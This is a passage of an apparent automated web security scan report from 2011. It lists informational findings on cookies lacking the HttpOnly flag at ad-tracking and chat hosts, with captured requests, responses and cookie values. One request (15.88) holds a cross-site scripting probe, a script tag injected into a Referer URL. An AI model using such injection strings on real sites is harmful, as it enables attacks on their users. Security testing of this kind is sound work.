rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtCuXw8ukNUAKjYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtRN+8Ew==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:33:48 GMT; Path=/
rtc_cHAL=MLuB84kHAVhDF1LCdcKXDzQFlw1IZ0BawohNunBFEGgdlg06eD02cW8HFwQqcKIgt2VnSg==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:33:48 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.76. http://pix04.revsci.net/G07608/b3/0/3/1008211/577937684.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pix04.revsci.net
Path:	/G07608/b3/0/3/1008211/577937684.gif

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtCuHQ7s09eBKTYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtRey8FA==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:27:17 GMT; Path=/
NETSEGS_G07608=82f4957c1a652091&G07608&0&4df34305&0&&4dcde361&1f1a384c105a2f365a2b2d6af5f27c36; Domain=.revsci.net; Expires=Sat, 11-Jun-2011 10:27:17 GMT; Path=/
rtc_UaeU=MLuB84kHAVhDF1LCdcKXDzQFlw1IZ0BbwohNunBFEGgdlg06eD02cW8HFwQqcTrzSWd2; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:27:17 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.77. http://pix04.revsci.net/G07608/b3/0/3/1008211/671305054.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pix04.revsci.net
Path:	/G07608/b3/0/3/1008211/671305054.gif

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtDsX4wtUteCKDYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtRBO8bA==; Domain=.revsci.net; Expires=Sun, 13-May-2012 11:05:59 GMT; Path=/
rtc_fMMS=MLuBU4kHAVhDF1LCdcKXDzQFlw1IZ8BYwogNsnhBUGsfVkhkAPoI68+Xd8YLhw8U09tff4uBLKooVnFpj3ggkQ==; Domain=.revsci.net; Expires=Sun, 13-May-2012 11:05:59 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.78. http://pix04.revsci.net/G07608/b3/0/3/1008211/920211703.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pix04.revsci.net
Path:	/G07608/b3/0/3/1008211/920211703.gif

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtCuHU4t0tQBKDYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtRmy8GQ==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:28:19 GMT; Path=/
rtc_yHEH=MLuB84kHAVhDF1LCdcKXDzQFlw1IZ0BfwohNunBFEGgdlg06eD02cW8HFwQqcKIgsA1ncA==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:28:19 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.79. http://pix04.revsci.net/G07608/b3/0/3/1008211/940857618.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pix04.revsci.net
Path:	/G07608/b3/0/3/1008211/940857618.gif

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtDsX4xvUtQCKTYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtQ3m8Zg==; Domain=.revsci.net; Expires=Sun, 13-May-2012 11:05:41 GMT; Path=/
rtc_oiAY=MLuBU4kHAVhDF1LCdcKXDzQFlw1IZ8BfwogNsnhBUGsfVkhkAPoI68+Xd8YLhw8U09tff4uBLKooVnFpjKggjw==; Domain=.revsci.net; Expires=Sun, 13-May-2012 11:05:41 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.80. http://pix04.revsci.net/G07608/b3/0/3/1008211/976949516.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pix04.revsci.net
Path:	/G07608/b3/0/3/1008211/976949516.gif

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtDsX44s0NaBKzYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtRBC8bA==; Domain=.revsci.net; Expires=Sun, 13-May-2012 11:04:38 GMT; Path=/
rtc_sQTQ=MLuBU4kHAVhDF1LCdcKXDzQFlw1IZ8BdwogNsnhBUGsfVkhkAPoI68+Xd8YLhw8U09tff4uBLKooVnFpjEggiw==; Domain=.revsci.net; Expires=Sun, 13-May-2012 11:04:38 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.81. http://pix04.revsci.net/G07608/b3/0/3/1008211/99829846.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pix04.revsci.net
Path:	/G07608/b3/0/3/1008211/99829846.gif

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtDsXw5s0dSDKTYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtQ1W8ZQ==; Domain=.revsci.net; Expires=Sun, 13-May-2012 11:03:52 GMT; Path=/
rtc_m5QX=MLuBU4kHAVhDF1LCdcKXDzQFlw1IZ8BZwogNsnhBUGsfVkhkAPoI68+Xd8YLhw8U09tff4uBLKooVnFpjbggiQ==; Domain=.revsci.net; Expires=Sun, 13-May-2012 11:03:52 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.82. http://pix04.revsci.net/I10981/b3/0/3/noscript.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pix04.revsci.net
Path:	/I10981/b3/0/3/noscript.gif

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtCuXQ9tkldBKDYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtRQC8FA==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:16:51 GMT; Path=/
rtc_7T0-=MLuB84kHAVhDF1LCdcKXDzQFlw1IZ0BdwohNunBFEGgdlg06eD02cW8HFwQqcTrykmd5; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:16:51 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /I10981/b3/0/3/noscript.gif?D=DM_LOC%3Dhttp%253A%252F%252Frevsci.net%253Frtid%253D10063 HTTP/1.1
Host: pix04.revsci.net
Proxy-Connection: keep-alive
Referer: http://www.fins.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lJtlR8qmZ5EYm2QQMyGpObby6k1VtBuHkxvUNZCKjYPZg3Dc9LyTfYmP4bXjGyehRIFdQ==; NETID01=f6600bc0a97556506df2daf333d9f1f4; rtc_lFjz=MLuB84kHAVhDF1LCdcKXDzQFlw1IZ0BdwohNunBFYGEiEXDN; udm_0=MLvv7iEOIS5n5S4sf9LIKM6Bpt3BQhwXLKhpumJAKH9ZohLvamWO+huyCocJXJDsRczd6FCC/ukv6Xpz1uzdB8jd3W3ILSjdYtnKq3F9jFyZqD377+Us3Nbw7cs1UpXwdejqHoMXde16Mzxvxei7KC+8NBsY8GM6zdRigHER7kUDTsulJ9IyAYcLvyqoyZkQZN5z/aEPrq5n9N0flh2HtuQC41Gxciq7dBDbJX43Xt+nPxvpxIe8OCCnhK5r9ANhaH8LDHQ5aMdNSJp7kYijGTihLVaWzIq5ufydYbNm9P66qBzXsYWmpLYHASVODs5MLGnqaWomJ4kcVVYuRCgplE/8t8hfOuSjORkUuX1twlOccQpK/83a1p6p9gD0Mn657YX8gBmi8+iaxuJ1uHrwDpYm9/xzIaPpzjNK3NRsH9kymE77A07UhIw2q6tBPVlAmPAo+E/4sNqVsTXMtLJrRfea6YQd80ALRcIt+FQ4/eHT1DPQo8qEvpq5YbGrPh1tfrFz62318KfxrC9Xe3bodpJLTOpoy6FPVvvvE/jbr2s6ubXR175Ye9eHk5CyuBojjk2prQ==; rsiPus_Sq60="MLs3rM9rsF9jIDGyCCr68+E43bKKIQzofbHKUycFuiMolVlcSfrsqkZ+Z6UThu5tZQgifX9CYnVFdkN0LtICJdxUgfTqk8dTU46grwhE8sqSLw67Xds37aqjtw/xs28qd4mC389YCTl2FjkvZEFlJR662CLdEvXK0EA2eiLvfOT0C68a513yCwd83ssE3yy0RUHQ"; rsi_us_1000000="pUMd5U+g/xMULsTCu+k7bfIrtGMDbzRzzkW+j0sg3sjUyWaep96tEenUjNvg1McP7XQGcbhvUsZr2/wICfep8r8+Z1kpCTaZGjhpzFNVVUPiKONPBFkYAGW1FsrY2w2QMBnKG+uiD1bqKnUIyR3U9TFhZxtDO1cs4s2/TMucN3ejUNU1Wq1K/DiYuTfSky3vqihuWgnkz7/CQIA7VGr1mKd7hwWPkd9c1Tt0BcoHHCccsWYKOLIDzaEtRhqSudfjxBL9kMEoxoE2el5fXBJWOSRHZ/ekF0yUoSseNFi8DODxgleUVzwtx1bvCh7bZqSdOcsgJfbBZZR27zA2YPew4FGSJeByimEoUpBrwXmT4AvuAhepAyWhS09/CA5FqJZQ7UlRvEJ4AdLI2bkKvjZAwk6jOcl0kOPr/CwI6YrtzHKdz9tE9WAyT6rK9jXvhI7Et50Wkios0oyp29KA+q2al3mMrASZ8QY6ubrqMrI4EwSmMfDPz7DamgfIJ1ayCN4Y/1G37QCHH8ygYbWm/FS2Ks4e3rGrWWEQn8+7u1nNfvs3nUbNc8FT7BDexz+ceGqhcRI/TGSipplJ+fxAgTUuQzxgeLHjbiWJh/I7gQRwhXmM6zNMJY4JAn/rO2O1vDhgb7mg0vmBVFeWw0KuNpKzKiLCBkUuky+WiE/9jHVlHSv6H9uGv7g1GjHJQSGyxwPjpUxfkTT8J/60Fwn61IisacYy3b3eWK/zFM/UbsgEkjM3MA=="

Response

15.83. http://pix04.revsci.net/I10981/b3/0/3/noscript.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pix04.revsci.net
Path:	/I10981/b3/0/3/noscript.gif

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtCuXw3s01cDKzYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtRX68EA==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:35:37 GMT; Path=/
rtc_6acg=MLuB84kHAVhDF1LCdcKXDzQFlw1IZ0BawohNunBFEGgdlg06eD02cW8HFwQqcKIht2RnSQ==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:35:37 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.84. http://pix04.revsci.net/I10981/b3/0/3/noscript.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pix04.revsci.net
Path:	/I10981/b3/0/3/noscript.gif

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtCu3QzuU9aAKDYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtRTu8Fg==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:22:07 GMT; Path=/
rtc_1gwk=MLuB84kHAVhDF1LCdcKXDzQFlw1IZ0BdwohNunBFEGgdlg06eD02cW8HFwQqcKIgsZ1nfA==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:22:07 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /I10981/b3/0/3/noscript.gif?D=DM_LOC%3Dhttp%253A%252F%252Frevsci.net%253Frtid%253D10063 HTTP/1.1
Host: pix04.revsci.net
Proxy-Connection: keep-alive
Referer: http://www.fins.com/Job-Interview-Tips
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: NETID01=f6600bc0a97556506df2daf333d9f1f4; udm_0=MLvv7iEOIS5n5S4sf9LIKM6Bpt3BQhwXLKhpumJAKH9ZohLvamWO+huyCocJXJDsRczd6FCC/ukv6Xpz1uzdB8jd3W3ILSjdYtnKq3F9jFyZqD377+Us3Nbw7cs1UpXwdejqHoMXde16Mzxvxei7KC+8NBsY8GM6zdRigHER7kUDTsulJ9IyAYcLvyqoyZkQZN5z/aEPrq5n9N0flh2HtuQC41Gxciq7dBDbJX43Xt+nPxvpxIe8OCCnhK5r9ANhaH8LDHQ5aMdNSJp7kYijGTihLVaWzIq5ufydYbNm9P66qBzXsYWmpLYHASVODs5MLGnqaWomJ4kcVVYuRCgplE/8t8hfOuSjORkUuX1twlOccQpK/83a1p6p9gD0Mn657YX8gBmi8+iaxuJ1uHrwDpYm9/xzIaPpzjNK3NRsH9kymE77A07UhIw2q6tBPVlAmPAo+E/4sNqVsTXMtLJrRfea6YQd80ALRcIt+FQ4/eHT1DPQo8qEvpq5YbGrPh1tfrFz62318KfxrC9Xe3bodpJLTOpoy6FPVvvvE/jbr2s6ubXR175Ye9eHk5CyuBojjk2prQ==; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtBuHkxtUJRAKjYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtR368AQ==; rtc_9zEm=MLuB84kHAVhDF1LCdcKXDzQFlw1IZ0BdwohNunBFEGgdlg06eD02cW8HFwQqcTrykmd5; rsiPus_VmDO="MLs3rF9vsF9nIDGjzL1vcpsTPRsfCl7PoiPmrzYaJskmosJYIWqMj3Sq3yt/E+QlPTZKCuQrKEB5Z7vtqd4JbrUrgH/gmdfVNqTaghkJu5V3yMOKHUUoQ18s06TgB+XdXLrTWFjU8Tdz+Wj10jHIRxZ/uiauIdgCRG4WWZoEQvBvcz0BKA+4pXdUtSwC41UyCoMtP7V4oNFGdg=="; rsi_us_1000000="pUMdJc+g/xMU1j2Eq62Z0x2J+T7uFxZvzsVdi8Ni1rZmEnsMVtJEyT/0fTHbQcU3Fl+IGpm+3PedGzrOT9nTdXoVUkI6WmaBEej7aE2XzVQj6QxDUb0Yqflin6S1sMRM9RUMWIzdW0pCLFX+SdMOIyoFeBH6v/2zlBy8MohyfgRDYfmcSTqHPC0xaR/mvaFRgazmITlQbtXP+7RYRY6yzZaFUAgFwKr/tr94J1h4H+W2YralVmK4v6P0xN+VNt2eZqNbiFQzK+nNzSOpTolaFo0Raxpc3WytphNYPzJ9/lJt/xBHGQP81boeRcwqveNqtdd/1E1vdjIBRoZH0EmvTaShQ/jzfZWtTYzx/raf81/3cGklA237x02G2voq9ktKTi1i+WtuXLlMuX2LoCoyqqr//Mw/xK1hWpEzhob+C1uUCfMoE2wJ1FmCpfX3oa9FdsW5miPZDT+R5uD0aFQPo5CCc64WwzH00oWOr8FTGsrQW5azQKmncb8T6deFcxXZkLDqmK4Kf1RROoiT85eoc9M+7bsUUuqezK1ewRco0HpgWz4qkFkGfLfnvP3jHP2Gd92brOg2ZswO9XlXms9QwnkwSKdzktQIeRMytjr7TYws9yX/PbPvHI4Wj/iJV38mp3lCHbtLegae5PqiGWNd6+91HKC62iMO65M8N5sIRgOHiZMP7x3ipqRjTkkAlSYzXbqZ7Or5NUc1o2SP8BdVN9s+mCEMyZPTn5bPzqmgwn0u7ARels1C8oA="

Response

15.85. http://server.iad.liveperson.net/hc/10599399/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://server.iad.liveperson.net
Path:	/hc/10599399/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

HumanClickSiteContainerID_10599399=STANDALONE; path=/hc/10599399
LivePersonID=-16101514677756-1305377540:-1:-1:-1:-1; expires=Sun, 13-May-2012 12:52:21 GMT; path=/hc/10599399; domain=.liveperson.net

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.86. http://server.iad.liveperson.net/hc/10599399/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://server.iad.liveperson.net
Path:	/hc/10599399/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

HumanClickKEY=8465193943944134989; path=/hc/10599399
HumanClickACTIVE=1305377537377; expires=Sun, 15-May-2011 12:52:17 GMT; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /hc/10599399/?visitor=&msessionkey=&site=10599399&cmd=knockPage&page=http%3A//www.mcafeesecure.com/RatingVerify%3Fcb%3Dlp&visitorStatus=INSITE_STATUS&activePlugin=none&pageWindowName=&javaSupport=true&id=187374311&scriptVersion=1.1&d=1305377537157&title=McAfee%20SECURE%20%7C%20LivePerson&referrer=http%3A//server.iad.liveperson.net/hcp/integration/hackersafe/hackersafe-grey.html HTTP/1.1
Host: server.iad.liveperson.net
Proxy-Connection: keep-alive
Referer: http://www.mcafeesecure.com/RatingVerify?cb=lp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: HumanClickKEY=5744677353007749400; LivePersonID=LP i=16101514677756,d=1305377522; HumanClickACTIVE=1305377535307

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:52:17 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON BUS INT NAV COM ADM CON CUR IVA IVD OTP PSA PSD TEL SAM"
X-Powered-By: ASP.NET
Set-Cookie: HumanClickKEY=8465193943944134989; path=/hc/10599399
Set-Cookie: HumanClickACTIVE=1305377537377; expires=Sun, 15-May-2011 12:52:17 GMT; path=/
Content-Type: image/gif
Last-Modified: Sat, 14 May 2011 12:52:17 GMT
Cache-Control: private
Content-Length: 34

GIF89aZ............,...........L.;

15.87. http://server.iad.liveperson.net/hc/10599399/x.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://server.iad.liveperson.net
Path:	/hc/10599399/x.js

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

HumanClickACTIVE=1305377536337; expires=Sun, 15-May-2011 12:52:16 GMT; path=/
HumanClickKEY=1616276867524553712; path=/hc/10599399

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /hc/10599399/x.js?cmd=file&file=chatScript3&site=10599399&imageUrl=http://images.scanalert.com/images/liveperson/set03 HTTP/1.1
Host: server.iad.liveperson.net
Proxy-Connection: keep-alive
Referer: http://www.mcafeesecure.com/RatingVerify?cb=lp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: LivePersonID=LP i=16101514677756,d=1305377522; HumanClickACTIVE=1305377524917

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:52:16 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON BUS INT NAV COM ADM CON CUR IVA IVD OTP PSA PSD TEL SAM"
X-Powered-By: ASP.NET
Set-Cookie: HumanClickACTIVE=1305377536337; expires=Sun, 15-May-2011 12:52:16 GMT; path=/
Set-Cookie: HumanClickKEY=1616276867524553712; path=/hc/10599399
Cache-Control: max-age=900
Content-Type: application/x-javascript
Accept-Ranges: bytes
Last-Modified: Sat, 14 May 2011 12:52:16 GMT
Content-Length: 33348

var SCRIPT_VERSION = "1.1";

if (typeof(lpNumber) == "undefined")
lpNumber = '10599399';

var lpUseFirstParty = ("true" == "false");
var lpUseSecureCookies = ("true" == "false");
var lpUseSessionC
...[SNIP]...

15.88. http://server.iad.liveperson.net/hc/44533531/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://server.iad.liveperson.net
Path:	/hc/44533531/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

HumanClickKEY=3399325542835844362; path=/hc/44533531
HumanClickACTIVE=1305460459023; expires=Mon, 16-May-2011 11:54:19 GMT; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /hc/44533531/?&site=44533531&cmd=mTagKnockPage&lpCallId=459671560817-626436131163&protV=20&lpjson=1&id=6080587027&javaSupport=true&visitorStatus=INSITE_STATUS HTTP/1.1
Host: server.iad.liveperson.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.midphase.com/favicon.ico6dbc2%22%3E%3Cscript%3Ealert(%22FAVICON%22)%3C/script%3E632c554a508
Cookie: LivePersonID=LP i=16601155425835,d=1302186497

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 11:54:19 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON BUS INT NAV COM ADM CON CUR IVA IVD OTP PSA PSD TEL SAM"
X-Powered-By: ASP.NET
Set-Cookie: HumanClickKEY=3399325542835844362; path=/hc/44533531
Set-Cookie: HumanClickACTIVE=1305460459023; expires=Mon, 16-May-2011 11:54:19 GMT; path=/
Content-Type: application/x-javascript
Accept-Ranges: bytes
Last-Modified: Sun, 15 May 2011 11:54:19 GMT
Cache-Control: no-store
Pragma: no-cache
Expires: Wed, 31 Dec 1969 23:59:59 GMT
Content-Length: 1485

lpConnLib.Process({"ResultSet": {"lpCallId":"459671560817-626436131163","lpCallConfirm":"","lpJS_Execute":[{"code_id": "webServerOverride", "js_code": "if (lpMTagConfig.lpServer != 'server.iad.liveper
...[SNIP]...

15.89. http://server.iad.liveperson.net/hc/44533531/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://server.iad.liveperson.net
Path:	/hc/44533531/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

LivePersonID=LP i=16101514677757,d=1305377522; expires=Sun, 13-May-2012 12:52:02 GMT; path=/; domain=.liveperson.net
LivePersonID=-16101514677757-1305377522:0; expires=Sun, 13-May-2012 12:52:02 GMT; path=/hc/44533531; domain=.liveperson.net
HumanClickKEY=7690487004214661575; path=/hc/44533531
HumanClickSiteContainerID_44533531=STANDALONE; path=/hc/44533531
LivePersonID=-16101514677757-1305377522:-1:-1:-1:-1; expires=Sun, 13-May-2012 12:52:02 GMT; path=/hc/44533531; domain=.liveperson.net
HumanClickCHATKEY=4202021298745294135; path=/hc/44533531

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.90. http://server.iad.liveperson.net/hc/44533531/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://server.iad.liveperson.net
Path:	/hc/44533531/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

HumanClickACTIVE=1305377525933; expires=Sun, 15-May-2011 12:52:05 GMT; path=/
HumanClickSiteContainerID_44533531=STANDALONE; path=/hc/44533531

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /hc/44533531/?&site=44533531&cmd=mTagKnockPage&lpCallId=541750796372-117704351433&protV=20&lpjson=1&id=4150980552&javaSupport=true&visitorStatus=INSITE_STATUS HTTP/1.1
Host: server.iad.liveperson.net
Proxy-Connection: keep-alive
Referer: http://www.midphase.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: HumanClickKEY=7032450980834070235; LivePersonID=-16101514677756-1305377522:-1:-1:-1:-1; HumanClickCHATKEY=4139296687908663322; HumanClickSiteContainerID_44533531=STANDALONE; LivePersonID=LP i=16101514677756,d=1305377522

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:52:05 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON BUS INT NAV COM ADM CON CUR IVA IVD OTP PSA PSD TEL SAM"
Set-Cookie: HumanClickACTIVE=1305377525933; expires=Sun, 15-May-2011 12:52:05 GMT; path=/
Content-Type: application/x-javascript
Accept-Ranges: bytes
Last-Modified: Sat, 14 May 2011 12:52:05 GMT
Set-Cookie: HumanClickSiteContainerID_44533531=STANDALONE; path=/hc/44533531
Cache-Control: no-store
Pragma: no-cache
Expires: Wed, 31 Dec 1969 23:59:59 GMT
Content-Length: 1405

lpConnLib.Process({"ResultSet": {"lpCallId":"541750796372-117704351433","lpCallConfirm":"","lpJS_Execute":[{"code_id": "webServerOverride", "js_code": "if (lpMTagConfig.lpServer != 'server.iad.liveper
...[SNIP]...

15.91. http://traffic.outbrain.com/network/redir previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://traffic.outbrain.com
Path:	/network/redir

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

obuid=8212382c-a920-4555-8b81-259021933018; Domain=.outbrain.com; Expires=Tue, 08-May-2012 10:16:08 GMT; Path=/
_rcc2=NXlRX9sMiunRtm+CPv1EhOsE3s6itk45; Domain=outbrain.com; Expires=Sat, 09-Jun-2012 10:16:08 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.92. http://twitter.com/WSJHouse previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://twitter.com
Path:	/WSJHouse

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

guest_id=130536894972281377; path=/; expires=Mon, 13 Jun 2011 10:29:09 GMT
original_referer=Vs%2BEmu1btvtijeAp0as8odTqICjT%2F%2Fddzu%2BIl%2BDmq8wqvfcyN8Q%2B%2BVzJuvqyxEy5DyZjyYsh4Cm3aLUWk8ue%2FHRNWBcQaHm3uqLcVkjIW0M%3D; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /WSJHouse HTTP/1.1
Host: twitter.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703730804576317293981683266.html
